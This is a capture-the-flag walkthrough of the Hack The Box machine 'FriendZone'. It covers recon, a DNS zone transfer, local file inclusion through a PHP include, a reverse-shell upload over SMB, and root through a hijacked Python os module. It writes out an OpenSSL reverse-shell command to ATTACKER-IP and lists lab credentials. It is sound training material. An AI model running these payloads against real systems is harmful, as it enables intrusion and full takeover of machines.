/var/log $ cat "Hack The Box - FriendZone Walkthrough"

2019-07-13 |
hackthebox ctf 

Machine Info

FirendZone Machine Info

Inital Recon

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$ nmap -p- -sC -sV 10.10.10.123
Nmap scan report for 10.10.10.123
Host is up (0.027s latency).
Not shown: 65528 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -40m00s, deviation: 1h09m15s, median: -1s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2019-03-06T00:34:37+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-03-05 23:34:36
|_  start_date: N/A

In summary the box runs the following services of interest:

Inital Enumeration

FTP Enumeration

Anonymous login is not allowed and googling for possible vulnerabilities finds nothing for vsftpd 3.0.3.

On to the next one…

HTTP and HTTPS Enumeration

HTTP

Browsing to the IP or friendzone.red after adding it to /etc/hosts we see:

HTTP friendzone Website

From the email we get an other possible vHost named friendzoneportal.red.

Bruteforcing files and directory reveals a robots.txt file which only contains “seriously ?!” and a sub-directory named /wordpress which does have directory listing enabled and is empty.

And that’s about it. Next!

HTTPS

While browsing to the IP 404s, going to https://friendzone.red we get:

HTTPS Website

Having a look at the source code of the site we find a comment which hints to sub-dir named /js/js:

Hint to a sub-dir in source code

Browsing to /js/js (/js also has directory listing enabled and only contains the dir js)

site in JS sub-dir

Using hash-identifier on the obscure string (“QzVhTXVRYVlNWTE1NjI3ODYzODFKUHgwWFBGNndo”) it identifies it as possible SHA-1 hash. But looking it up on CrackStation we don’t get a result. Having a look into the source of the website we find a comment at the end which hints that this is a dead end:

JS sub-dir source code

Doing also a gobuster run for files and directories we only find one sub-dir /admin which is empty.

Next!

friendzoneportal.red

From the HTTP site we know the possible vHost friendzoneportal.red. After adding it to /etc/hosts we check if there’s anything. On HTTP we are presented with a site which looks the same as friendzone.red resp. when browsing directly to the IP:

http://friendzoneportal.red

Using gobuster we find the exact same robots.txt and empty /wordpress directory, so we can assume http://friendzone.red and http://friendzoneportal.red are pointing to the same htdocs.

Browsing to the URL using HTTPS we see:

https://friendzoneportal.red HTTPS

Again using gobuster we just find the page (index.php) that we see. Also the source shows nothing of interest.

Next!

SMB Enumeration

Using smbclient to list available shares on the box we find three and an interesting comment for the share Files:

Listing shares

/Files is not accessible without proper credentials and /Development is empty. But in /general we find a file named creds.txt:

Accessing shares

Downloading creds.txt to our machine we find some credentials for a “admin THING”:

0
1
2
creds for the admin THING:

admin:WORKWORKHhallelujah@#

Finally something, but still… Next!

DNS Enumeration

As the box is running DNS we try to perform a DNS zone transfer to see if we find more domain names/vHosts:

DNS zone transfer

As the zone transfer is allowed we now have a list of more sub-domains to enumerate:

0
1
2
3
4
5
6
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
admin.friendzoneportal.red
files.friendzoneportal.red
imports.friendzoneportal.red
vpn.friendzoneportal.red

Instead of checking all possible http/https URLs by hand we save them to a text file and use a little BASH script which facilitates curl to do that for us:

0
1
2
3
4
5
6
7
8
#!/bin/bash
while read -r vhost; do
  # check http
  http_code=$(curl -s -o /dev/null -w "%{http_code}" -i http://${vhost})
  printf "http://${vhost} -> ${http_code}\n"
  # check https
  https_code=$(curl -s -o /dev/null -w "%{http_code}" -i https://${vhost})
  printf "https://${vhost} -> ${https_code}\n"
done < $1

Reachable sub-domains

Now we have some more domains/URLs to enumerate:

0
1
2
3
4
5
http://administrator1.friendzone.red
https://administrator1.friendzone.red
http://hr.friendzone.red
https://hr.friendzone.red
http://uploads.friendzone.red
https://uploads.friendzone.red

Again: Next!

HTTP/HTTPS Enumeration Round 2

administrator1.friendzone.red

Accessing https://administrator1.friendzone.red we are presented with a login form:

FriendZone Admin Login

Using the creds we found earlier (admin:WORKWORKHhallelujah@#) we can login and are told to go to /dashboard.php:

Login redirect

And this is what we get when we go there:

dashboard.php

OK, let’s access it with the suggestet paramters:

dashboard URL paramters

Using gobuster we can find three files: login.php and dashboard.php which we alredy know and a new one named timestamp.php. Also there’s a sub-dir /images which contains a.jpg (the “Ha Ha!” image) and b.jpg. When we modify the image_id parameter and set it to b.jpg the page looks like this:

If we modify the paramter to what.ever we can find <img src='images/what.ever'> in the HTML source. We can assume the underlying PHP code looks like image = $_GET['image_id']; echo "<img src='images/$image']"; and will be therefore of no use to get inside the box.

Leaves the pagename parameter as a possibility to exploit. When we access timestamp.php directly we get something which looks exactly like the bottom of the page of dashboard.php when pagename=timestamp (except of a diffrent time of course):

timestamp.php

What if the pagename parameter controls what get’s included in dashboard.php except of the .php filename end? So let’s see what happens if we access https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=dashboard:

LFI on FriendZone Admin Dashboard

And we do have RCE/LFI here. Next up we need to find a way to execute our own code.

uploads.friendzone.red

Using gobuster on https://uploads.friendzone.redwe find:

0
1
2
https://uploads.friendzone.red/index.html (Status: 200)
https://uploads.friendzone.red/files (Status: 301)
https://uploads.friendzone.red/upload.php (Status: 200)

Going there we are presented with a upload form:

Upload Form

Playing around with the form it doesn’t seem that there are any restrictions on what to upload. We get a success massage no matter what we upload:

Upload Success

But after the successful upload our files are nowhere to be found, neither in /files which would be the obvious choice or /. Also combining the search for the uploaded file with the timestamp we get in the success message doesn’t help. So either the files are stored somewhere else or with a logic we don’t understand. Also accessing upload.php doesn’t give us any clues:

upload.php

Own User

Making Use of RCE/LFI

As we cannot access our uploaded files let’s see what elese the vulnarability can reveal. First we get the code of dashbaord.php using a PHP filter trick to convert it to base64 using the URL https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=dashboard. After decoding the base64 string we have the source code:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
 echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

if(!isset($_GET["image_id"])){
  echo "<br><br>";
  echo "<center><p>image_name param is missed !</p></center>";
  echo "<center><p>please enter it to show the image</p></center>";
  echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
 }else{
 $image = $_GET["image_id"];
 echo "<center><img src='images/$image'></center>";

 echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
 include($_GET["pagename"].".php");
 //echo $_GET["pagename"];
 }
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>

As we can see from the code the image_id parameter is useless but pagename is directly used within an include() (include($_GET["pagename"].".php");) thus giving us RCE.

Assuming that all sub-domains share the same root directory (something like /var/www/html where administrator1.friendzone.red would be stored in /var/www/html/administrator1and uploads.friendzone.red in /var/www/html/uploads) we can try to facilitate directory traversal and the PHP filter trick to retrive the source code of https://uploads.friendzone.red/upload.php so see where files are uploaded to. By accessing the URL https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=../uploads/upload and decoding the base64 string we get the source code of uploads.php:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

// not finished yet -- friendzone admin !

if(isset($_POST["image"])){

echo "Uploaded successfully !<br>";
echo time()+3600;
}else{

echo "WHAT ARE YOU TRYING TO DO HOOOOOOMAN !";

}

?>

As we can see the from the code nothing is uploaded at all. That’s the reason why we couldn’t find the files we tried to upload. We need to find an other way to upload our arbitrary code.

Getting a Reverse Shell and the User Flag

Going back to SMB enumeration we remeber this one comment for the share Files:

0
1
2
Files           Disk      FriendZone Samba Server Files /etc/Files
general         Disk      FriendZone Samba Server Files
Development     Disk      FriendZone Samba Server Files

Based on that comment we can assume that files in Files are located in /etc/Files. If the other shares follow the same logic general might be found in /etc/general and Development in /etc/Development. From the three shares we only have write access on Development. So let’s give that one a try.

Since we’re dealing with PHP we use the most famous pentestmonkey’s php-reverse-shell and upload it as shell.php to Development using smblcient. Starting a netcat listener and playing with the path traversal we get the script to execute by accessing https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=../../../../../../etc/Development/shell which gives us a reverse shell and the user flag:

FriendZone USer Flag

Own root

Finding a Privilege Escalation Method

Monitoring processes with pspy after downloading it from out attacker machine in our low-priv shell (both wget and curlare present on the box) we find /opt/server_admin/reporter.py is getting execute as root every 2 minutes. The obvious first thought is to modify it so that we can become root. But we don’t have write access. Also a look into the code does not show a direct way to exploit it:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

Going through Linux privesc enumeration we find that /usr/lib/python2.7 beeing world-writable. As we know from the script, os is imported. So we can hijacking the library to become root when the script is executed.

Root Shell and Flag

We have quite a lot of options for the privesc part since we could pretty much do everthing through Python. I opted for an OpenSSL reverse shell. First we create the necessary certificates with openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes and start an OpenSSL server with openssl s_server -quiet -key key.pem -cert cert.pem -port ATTACKER-PORT (don’t forget to set a port).

On the box we add system("mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER-IP:ATTACKER-PORT > /tmp/s; rm /tmp/s") (replacing ATTACKER-IP and ATTACKER-PORT of course) to the end of /usr/lib/python2.7/os.py. Now we wait for our root shell and grab the flag:

FriendZone root flag